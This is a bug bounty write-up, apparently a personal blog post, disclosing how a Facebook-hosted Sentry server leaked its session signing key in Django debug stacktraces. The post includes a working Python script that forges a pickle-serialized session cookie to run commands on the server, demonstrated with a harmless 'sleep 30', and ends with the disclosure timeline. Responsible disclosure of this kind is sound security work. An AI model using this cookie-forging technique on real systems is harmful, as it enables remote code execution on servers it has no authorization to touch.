I regularly search for vulnerabilities on big services that allow it and have a Bug Bounty program. Here is my first paper which covers a vulnerability I discovered on one of Facebook’s servers.
While scanning an IP range that belongs to Facebook (126.96.36.199/24), I found a Sentry service hosted on 188.8.131.52, with the hostname sentryagreements.thefacebook.com. Sentry is a log collection web application, written in Python with the Django framework.
While I was looking at the application, some stacktraces regularly popped on the page, for an unknown reason. The application seemed to be unstable regarding the user password reset feature, which occasionally crashed. Django debug mode was not turned off, which consequently prints the whole environment when a stacktrace occurs. However, Django snips critical information (passwords, secrets, key…) in those stacktraces, therefore avoiding a massive information leakage.
However, by looking at the stacktrace a little more closely, some env keys were interesting :
- The SESSION_COOKIE_NAME is sentrysid
- The SESSION_SERIALIZER is django.contrib.sessions.serializers.PickleSerializer
- The SESSION_ENGINE is django.contrib.sessions.backends.signed_cookies
- The SENTRY_OPTIONS key that contains some Sentry configuration in a list.
Pickle is a binary protocol for (un)serializing Python object structures, such as classes and methods in them. A comprehensive article that explains what Pickle is and its security implications is available here : https://www.balda.ch/posts/2013/Jun/23/python-web-frameworks-pickle/
If we were able to forge our own session that contains arbitrary pickle content, we could execute commands on the system. However, the SECRET_KEY that is used by Django for signing session cookies is not available in the stacktrace. However, the SENTRY_OPTIONS list contains a key named system.secret-key, that is not snipped. Quoting the Sentry documentation, system.secret-key is “a secret key used for session signing. If this becomes compromised it’s important to regenerate it as otherwise its much easier to hijack user sessions.“; wow, it looks like it’s a sort of Django SECRET-KEY override!
As we have everything to forge our own cookies with arbitrary pickle content, I wrote a little script that adds a payload into my own sentrysid cookie. Here it is :
#!/usr/bin/python import django.core.signing, django.contrib.sessions.serializers from django.http import HttpResponse import cPickle import os SECRET_KEY='[RETRIEVEDKEY]' #Initial cookie I had on sentry when trying to reset a password cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw' newContent = django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies') class PickleRce(object): def __reduce__(self): return (os.system,("sleep 30",)) newContent['testcookie'] = PickleRce() print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)
This code is a simple proof of concept; it takes the content of an existing sentrysid cookie, and replaces its content with an arbitrary object that will run a os.system(“sleep 30”) when unserialized.
When using this cookie, the page actually takes an additional 30 seconds to load, which confirms the presence of the flaw.
Facebook acknowledged the vulnerability, took down the system until the flaw was patched, and then notified me about the patch being in place.
Here is the disclosure timeline, which also demonstrates that Facebook security staff is reactive 🙂 :
- 30.07.2018 00:00 CEST : initial disclosure with every details.
- 30.07.2018 15:25 CEST : triaged and system takedown.
- 09.08.2018 18:10 CEST : patch in place.
- 09.08.2018 20:10 CEST : a 5000$ bounty is awarded – the server was in a separate VLAN with no users’ specific data.
Thanks for reading!